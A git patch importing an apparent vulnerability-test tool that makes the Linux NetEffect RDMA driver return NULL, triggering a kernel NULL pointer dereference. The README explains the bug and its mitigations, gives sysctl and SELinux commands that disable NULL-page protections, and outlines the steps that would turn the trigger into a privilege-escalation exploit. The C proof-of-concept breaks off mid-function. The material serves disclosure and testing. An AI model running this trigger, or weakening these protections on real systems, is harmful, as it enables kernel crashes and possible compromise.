From ebd068e9ebb3cb4e89bfe1fd9add8ba10540934e Mon Sep 17 00:00:00 2001 From: Yann Droneaud Date: Fri, 7 Mar 2014 09:16:42 +0100 Subject: [PATCH] Initial repository content import Signed-off-by: Yann Droneaud --- .gitignore | 69 +++++++++ AUTHORS | 1 + COPYING | 378 +++++++++++++++++++++++++++++++++++++++++++++ Makefile.am | 6 + README | 239 ++++++++++++++++++++++++++++ configure.ac | 38 +++++ ib-hw-nes-create-qp-null.c | 305 ++++++++++++++++++++++++++++++++++++ 7 files changed, 1036 insertions(+) create mode 100644 .gitignore create mode 100644 AUTHORS create mode 100644 COPYING create mode 100644 Makefile.am create mode 100644 README create mode 100644 configure.ac create mode 100644 ib-hw-nes-create-qp-null.c diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1908e0f --- /dev/null +++ b/.gitignore @@ -0,0 +1,69 @@ +# - see gitignore(5) +# +# http://www.kernel.org/pub/software/scm/git/docs/gitignore.html +# http://git-scm.com/docs/gitignore.html +# +# - ignore files in this current directory with a leading / +# so that files with the same name is a subdirectory +# would not be ignored by mistake. +# +# per directory .gitignore would be used to ignore specific +# files/patterns +# +# - more examples can be found at +# +# https://github.com/github/gitignore +# http://git-scm.com/book/en/Git-Basics-Recording-Changes-to-the-Repository#Ignoring-Files +# + +# global ignore rules: +# +# backup files +# +*~ + +# local (eg. current directory) rules: +# +# / + +# +# files created by autoreconf (autoconf, automake, libtool) +# + +/INSTALL +/config.guess +/config.sub +/missing +/depcomp +/install-sh +/configure +/aclocal.m4 +/autom4te.cache/ +/config.h.in +/Makefile.in +/compile +/config + +# +# files created by autoscan +# + +/autoscan.log +/configure.scan + +# +# files created by ./configure +# + +/config.h +/config.status +/config.log +/Makefile +/stamp-h1 +/libtool +/librdmacm.spec +/.deps + +# files produced by make +/*.o +/ib-hw-nes-create-qp-null diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..9ee9a0f --- /dev/null +++ b/AUTHORS @@ -0,0 +1 @@ +Yann Droneaud diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..b3365cc --- /dev/null +++ b/COPYING @@ -0,0 +1,378 @@ +This software is available to you under a choice of one of two +licenses. You may choose to be licensed under the terms of the the +OpenIB.org BSD license or the GNU General Public License (GPL) Version +2, both included below. + +Copyright (c) 2014 OPTEYA SAS. + +================================================================== + + OpenIB.org BSD license + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +================================================================== + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/Makefile.am b/Makefile.am new file mode 100644 index 0000000..54037d6 --- /dev/null +++ b/Makefile.am @@ -0,0 +1,6 @@ + +AUTOMAKE_OPTIONS = foreign + +bin_PROGRAMS = ib-hw-nes-create-qp-null + +ib_hw_nes_create_qp_null_SOURCES = ib-hw-nes-create-qp-null.c diff --git a/README b/README new file mode 100644 index 0000000..98a2b10 --- /dev/null +++ b/README @@ -0,0 +1,239 @@ + +Introduction +------------ + +This a tool that should make Linux kernel's NetEffect RNIC driver (nes) returns +NULL to uverbs layer, while a NULL pointer is not an expected return value, +leading to NULL pointer dereferenced in uverbs_create_qp() (and under specific +circumstances, later, in ib_destroy_qp()). + +While the tool can be used with any InfiniBand, iWARP, RoCE, RDMA adapter +(HCA), only NetEffect driver should be able to trigger the NULL pointer +dereference in upper layer. + +To test, a NetEffect HCA (aka. NetEffect NE020 10Gb Accelerated Ethernet Adapter +(iWARP RNIC), aka. Intel NetEffect Ethernet Server Cluster Adapter) is needed +along with the matching kernel driver (iw_nes, enabled with +CONFIG_INFINIBAND_NES=[my]) and userspace driver (libnes library). + +Build +----- + +The tool can be built with: + + $ autoreconf + $ ./configure + $ make + +Run +--- + +The tool can be executed directly: + + $ ./ib-hw-nes-create-qp-null + +Output +------ + +Here's the output of test ran on a system with a QLogic^WIntel InfiniBand +HCA. + +$ ./ib-hw-nes-create-qp-null +Opening qib0 +Memory mapped @ 0x7f4ed4b04000 [page 0] + @ 0x7f4ed4b05000 [page 1] + @ 0x7f4ed4b06000 [page 2] + @ 0x7f4ed4b07000 [page 3] + @ 0x7f4ed4b08000 [page 4] + Unmapping @ 0x7f4ed4b05000 [page 1] + Unmapping @ 0x7f4ed4b07000 [page 3] +Using unmmaped page @ 0x7f4ed4b07000 [page 3] for response + Response @ 0x7f4ed4b06fe0 [page 2] +Using unmmaped page @ 0x7f4ed4b05000 [page 1] for command + Command @ 0x7f4ed4b04fc0 [page 0] +CREATE_QP : sret = 64 errno = 0 : SUCCESS +DESTROY_QP : sret = 24, errno = 0 : SUCCESS + +Explanation +----------- + +In drivers/infiniband/hw/nes/nes_verbs.c, function nes_create_qp() calls +ib_copy_from_udata() [1] which in turn calls copy_from_user() [2]. +If the pointer udata->inbuf [3] is not pointing to valid userspace page, +ib_copy_from_udata() will fail and returns -EFAULT. + +[1] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/hw/nes/nes_verbs.c?id=v3.14-rc5#n1185 +[2] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/include/rdma/ib_verbs.h?id=v3.14-rc5#n1506 +[3] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/include/rdma/ib_verbs.h?id=v3.14-rc5#n1000 + +Then nes_create_qp() returns NULL [4]. + +[4] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/hw/nes/nes_verbs.c?id=v3.14-rc5#n1189 + +In drivers/infiniband/core/uverbs_cmd.c, function uverbs_create_qp(), which was +calling nes_create_qp() through device->create_qp function pointer [5], tests +its return code using IS_ERR() [6]. But does not check for NULL. + +[5] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n1589 +[6] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n1591 + +In the following lines of uverbs_create_qp(), NULL pointer is dereferenced +to access various fields of the struct ib_qp. + +In most cases, memory page at address 0 is not mapped, so kernel will report +an Oops and will terminate the test program. + +Unfortunately, if a memory page is mapped by userspace at 0x0, +uverbs_create_qp() would continue and record the NULL pointer in +struct idr ib_uverbs_qp_idr with idr_add_uobj() [7]. + +Then uverbs_create_qp() will try to returns the QP handler as allocated by +idr_add_uobj() to userspace [8]. (It will only be possible if page holding the +response buffer are valid and mapped, otherwise ib_destroy_qp() is called early +on NULL). + +[7] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n1617 +[8] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n1623 + +uverbs_create_qp() will return success to userspace, with a valid +QP handler in the response buffer. + +But most uverbs won't be able to use the QP handler returned to userspace, +since they will try to retrieve the QP by its handler using idr_read_qp() [9] +and check for NULL pointer returned by idr_read_obj() [10] in case of invalid or +non-matching handler. + +[9] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n238 +[10] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n205 + +The only uverb that can be called against the handle is uverbs_destroy_qp() +since it use idr_write_uobj() [11] directly, allowing it to retrieve the NULL +pointer [12]. Then the function will call ib_destroy_qp() [13] with the NULL +pointer as struct qp * argument. + +[11] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n2003 +[12] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n2006 +[13] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/uverbs_cmd.c?id=v3.14-rc5#n2014 + +ib_destroy_qp() [14] dereferences the NULL pointer to access to the struct +ib_device holding the function pointer destroy_qp() in order to call it [15]. + +[14] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/verbs.c?id=v3.14-rc5#n975 +[15] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/infiniband/core/verbs.c?id=v3.14-rc5#n993 + +And you should guess the end of the story (see bibliography for related +documentation if not). + +Why it is not a big deal ? +-------------------------- + +To turn this into an exploit page 0 must be mapped and accessible by userspace +and kernel: it's not possible by default, thanks to features added to Linux +kernel: + +- vm.mmap_min_addr is the minimal address the kernel will allow you to map + + - get: + + $ sysctl vm.mmap_min_addr + or + $ cat /proc/sys/vm/mmap_min_addr + + - set: + + # sysctl -w vm.mmap_min_addr=0 + or + # echo 0 > /proc/sys/vm/mmap_min_addr + +- SELinux enforce another limit on context: + + - get: + + $ getsebool mmap_low_allowed + + - set: + + # setsebool mmap_low_allowed=on + +- PaX UDREF (and KERNEXEC) (within grsecurity kernel) will disallow direct access + to userspace from kernel mode, so the kernel won't be able to access page 0 + with a NULL pointer dereference. + +- IA32 (eg. x86) SMAP[1] (and SMEP[2]) can also defeat NULL pointer dereference + from kernel mode [3]. + + [1] Supervisor Mode Access Prevention + [2] Supervisor Mode Execution Prevention + [3] http://forums.grsecurity.net/viewtopic.php?f=7&t=3046 + +What's needed to turn the test program in an exploit: +----------------------------------------------------- + +After making nes driver returning NULL and create qp uverbs returns the +QP handler to userspace, exploit must have to overwrite struct ib_device +pointer and make it point to a struct ib_device of its own where +destroy_qp function pointer will be an exploit controlled function. +Then, test tool has to call destroy qp uverbs to make the kernel +call its exploit function. + +Aside +----- + +This also demonstrate that nes driver does not check udata->inlen before +trying to access to userspace command buffer. Conversely, it does not check +udata->outlen before trying to write to userspace response buffer. +Unfortunately, those behaviors are quite common in InfiniBand drivers. + +Bibliography +------------ + +"Bypassing Linux' NULL pointer dereference exploit prevention (mmap_min_addr)", +by Julien Tinnes, June 26, 2009 +http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html + +"Fun with NULL pointers, part 1", by Jonathan Corbet, July 20, 2009 +http://lwn.net/Articles/342330/ + +"Fun with NULL pointers, part 2", by Jonathan Corbet, July 21, 2009 +http://lwn.net/Articles/342420/ + +"mmap_min_addr on SELinux and non-SELinux systems", by Eric Paris, +July 21, 2009 +http://eparis.livejournal.com/606.html + +"Confining the unconfined. Oxymoron?", by Dan Walsh, July 21st, 2009 +http://danwalsh.livejournal.com/30084.html + +"Bug 511143 - selinux policy allows addr 0 mappings by default", July 13, 2009 +https://bugzilla.redhat.com/show_bug.cgi?id=511143 + +"Security-Enhanced Linux (SELinux) policy and the mmap_min_addr protection (CVE-2009-2695)" +https://access.redhat.com/site/articles/17995 + +"How do I mitigate against NULL pointer dereference vulnerabilities?" +https://access.redhat.com/site/articles/20484 + +"SELinux hardening for mmap_min_addr protections", by Eric Paris, August 26th, +2009 +http://eparis.livejournal.com/891.html + +"Much ado about NULL: Exploiting a kernel NULL dereference", By Nelson Elhage, +Apr 12, 2010 +https://blogs.oracle.com/ksplice/entry/much_ado_about_null_exploiting1 + + +Author +------ + +Yann Droneaud + +License +------- + +Copyright (C) 2014 OPTEYA SAS + +This software is available to you under a choice of one of two licenses. +You may choose to be licensed under the terms of the the OpenIB.org BSD license +or the GNU General Public License (GPL) Version 2, both included in file +COPYING. + diff --git a/configure.ac b/configure.ac new file mode 100644 index 0000000..a385b18 --- /dev/null +++ b/configure.ac @@ -0,0 +1,38 @@ +# -*- Autoconf -*- +# Process this file with autoconf to produce a configure script. + +AC_PREREQ([2.69]) +AC_INIT([fuzzinband], [0.0], [ydroneaud@opteya.com]) +AC_CONFIG_SRCDIR([ib-hw-nes-create-qp-null.c]) +AC_CONFIG_HEADERS([config.h]) +AM_INIT_AUTOMAKE + +AC_SYS_LARGEFILE + +# Checks for programs. +AC_PROG_CC + +# Checks for libraries. +AC_CHECK_LIB([ibverbs], [ibv_get_device_list], [], + [AC_MSG_ERROR([Please install libibverbs.])]) + +# Checks for header files. +AC_CHECK_HEADERS([stddef.h stdint.h string.h unistd.h]) +AC_HEADER_ASSERT +AC_CHECK_HEADER([infiniband/kern-abi.h], [], + [AC_MSG_ERROR([ not found. Please install libibverbs.])]) +AC_CHECK_HEADER([infiniband/verbs.h], [], + [AC_MSG_ERROR([ not found. Please install libibverbs.])]) + +# Checks for typedefs, structures, and compiler characteristics. +AC_TYPE_SIZE_T +AC_TYPE_SSIZE_T +AC_TYPE_UINT8_T +AC_TYPE_UINTPTR_T + +# Checks for library functions. +AC_FUNC_MMAP +AC_CHECK_FUNCS([munmap mprotect strerror]) + +AC_CONFIG_FILES([Makefile]) +AC_OUTPUT diff --git a/ib-hw-nes-create-qp-null.c b/ib-hw-nes-create-qp-null.c new file mode 100644 index 0000000..1042ad3 --- /dev/null +++ b/ib-hw-nes-create-qp-null.c @@ -0,0 +1,305 @@ +/* ib-hw-nes-create-qp-null.c - make nes driver return NULL + * + * Copyright (c) 2014 OPTEYA SAS + * + * This software is available to you under a choice of one of two + * licenses. You may choose to be licensed under the terms of the GNU + * General Public License (GPL) Version 2, available from the file + * COPYING in the main directory of this source tree, or the + * OpenIB.org BSD license below: + * + * Redistribution and use in source and binary forms, with or + * without modification, are permitted provided that the following + * conditions are met: + * + * - Redistributions of source code must retain the above + * copyright notice, this list of conditions and the following + * disclaimer. + * + * - Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials + * provided with the distribution. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + * Author: Yann Droneaud + * + */ + +#if HAVE_CONFIG_H +# include +#endif + +#include +#include + +#include + +#include +#include + +#include +#include + +#include + +#include +#include + +#define ARRAY_SIZE(array) (sizeof(array)/sizeof(array[0])) + +/* from libibverbs, file src/ibverbs.h */ +#define IBV_INIT_CMD(cmd, size, opcode) \ +do { \ + (cmd)->command = IB_USER_VERBS_CMD_##opcode; \ + (cmd)->in_words = (size) / 4; \ + (cmd)->out_words = 0; \ +} while (0) + +#define IBV_INIT_CMD_RESP(cmd, size, opcode, out, outsize) \ +do { \ + (cmd)->command = IB_USER_VERBS_CMD_##opcode; \ + (cmd)->in_words = (size) / 4; \ + (cmd)->out_words = (outsize) / 4; \ + (cmd)->response = (uintptr_t) (out); \ +} while (0) + +/* Need 5 pages [M M M] */ +#define PAGES_COUNT 5 + +#if 0 +/* define UNMAPPED_RESPONSE to make it impossible to uverbs + * to return the result (if any) of qp creation: + * in this case, it will make uverbs_create_qp() call + * ib_destroy_qp() on NULL, but only if a page were mapped + * at 0x0. + */ +#define UNMAPPED_RESPONSE 1 +#endif + +int +main(void) +{ + struct ibv_context *context; + struct ibv_device **dev_list; + int dev_count; + + struct ibv_create_qp create_qp_cmd; + struct ibv_create_qp *create_qp_cmd_ptr; + struct ibv_create_qp_resp create_qp_resp; + struct ibv_create_qp_resp *create_qp_resp_ptr; + + struct ibv_destroy_qp destroy_qp_cmd; + struct ibv_destroy_qp_resp destroy_qp_resp; + + struct ibv_pd *pd; + struct ibv_cq *cq; + + uint8_t *pages_mmap[PAGES_COUNT]; + + unsigned int i; + + int err; + int ret; + ssize_t sret; + + long size; + size_t page_size; + + size = sysconf(_SC_PAGESIZE); + if (size < 0) { + err = errno; + fprintf(stderr, "Failed to get page size: %d (%s)\n", err, strerror(errno)); + return 1; + } + + page_size = (size_t) size; + + assert(page_size >= sizeof(struct ibv_create_qp)); + assert(page_size >= sizeof(struct ibv_create_qp_resp)); + + dev_count = 0; + dev_list = ibv_get_device_list(&dev_count); + if (dev_list == NULL) { + fprintf(stderr, "No infiniband/RDMA support ?\n"); + goto leave0; + } + + if (dev_count <= 0) { + fprintf(stderr, "No infiniband/RDMA adapter\n"); + goto leave1; + } + + printf("Opening %s\n", ibv_get_device_name(dev_list[0])); + + context = ibv_open_device(dev_list[0]); + if (context == NULL) { + fprintf(stderr, "Failed to open first infiniband/RDMA adapter\n"); + goto leave1; + } + + pd = ibv_alloc_pd(context); + if (pd == NULL) { + fprintf(stderr, "Can't allocate protection domain\n"); + goto leave2; + } + + cq = ibv_create_cq(context, 1, NULL, NULL, 0); + if (cq == NULL) { + fprintf(stderr, "Can't create completion queue\n"); + goto leave3; + } + + /* allocate some pages [MMMMM] */ + pages_mmap[0] = mmap(NULL, + ARRAY_SIZE(pages_mmap) * page_size, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | 